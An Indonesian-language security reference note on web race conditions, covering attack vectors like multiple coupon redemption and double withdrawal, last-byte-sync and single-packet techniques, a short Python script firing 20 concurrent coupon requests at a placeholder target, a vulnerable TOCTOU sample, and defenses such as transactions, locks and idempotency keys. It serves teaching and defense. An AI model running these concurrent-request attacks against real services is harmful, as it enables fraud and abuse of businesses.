Race Condition — Web Exploitation: TOCTOU, Concurrent Requests, Auto-Defense

Ringkasan

Race condition di web terjadi ketika dua atau lebih request concurrent memodifikasi resource yang sama secara bersamaan, menyebabkan state inconsistency yang bisa dieksploitasi. Vektor utama: coupon/diskon multiple redeem, ticket booking, vote manipulation, API rate limit bypass, dan TOCTOU (Time-of-Check-Time-of-Use) pada file operations.

Cross-link: web-hacking-exploitation → api-security-deep-dive → request-smuggling-deep-dive

---

Daftar Isi

• 1. Web Race Condition Vectors
• 2. Exploitation Techniques
• 3. Tools
• 4. Defense

---

1. Web Race Condition Vectors

Vector	Contoh	Dampak
Coupon redeem	Kirim 20 request redeem bersamaan	Redeem 1 coupon berkali-kali
Ticket booking	Booking seat concurrent	Overbooking, double booking
Vote manipulation	Vote API concurrent	Vote berkali-kali
Rate limit bypass	Kirim request sebelum counter update	Bypass rate limiting
Balance withdrawal	Withdraw concurrent	Double withdrawal
TOCTOU file	Check → race → use	File access kontrol bypass

---

2. Exploitation Techniques

Last-Byte Sync

# Send multiple requests, biarkan responses incomplete
# Complete last byte dari semua request secara simultan
GET /api/redeem-coupon?code=DISKON50 HTTP/1.1
GET /api/redeem-coupon?code=DISKON50 HTTP/1.1
GET /api/redeem-coupon?code=DISKON50 HTTP/1.1
# Kirim byte terakhir semua request dalam 1 TCP packet

Single-Packet Attack

# Kirim semua request dalam 1 packet — TCP stack server process bersamaan
# Gunakan Burp Turbo Intruder atau race-the-web

Time-of-Check-Time-of-Use (TOCTOU)

// Vulnerable:
if (fileExists(path)) {
  // TOCTOU window
  const data = readFile(path) // Attacker swap file here
  process(data)
}
 
// Race condition antara check dan use

---

3. Tools

Tool	Fungsi
Burp Turbo Intruder	Race condition testing via HTTP pipelining
race-the-web	Python tool untuk single-packet race attack
Caido	Modern alternative to Burp dengan race feature

race-the-web

from race_the_web import racer
 
@racer(concurrent=20)
def attack():
    requests.post("http://target.com/api/redeem",
                  json={"coupon": "DISKON50"})

---

4. Defense

Strategy	Implementasi
Database transaction	Atomic operation — BEGIN TRANSACTION ... COMMIT
Distributed lock	Redis lock via SETNX
Idempotency key	Idempotency-Key header untuk mencegah duplicate process
Optimistic locking	Version column — cek versi sebelum update
Rate limit	Per-user rate limiting untuk sensitive operations
Atomic decrement	UPDATE stock SET qty = qty - 1 WHERE qty > 0

Contoh Redis Lock

const lock = await redis.setnx(`coupon:${code}`, "locked")
if (lock === 1) {
  // Process coupon
  await redis.del(`coupon:${code}`)
} else {
  return "Already processing"
}

Referensi: /mnt/data_d/Projects/Reference/PayloadsAllTheThings/Race Condition/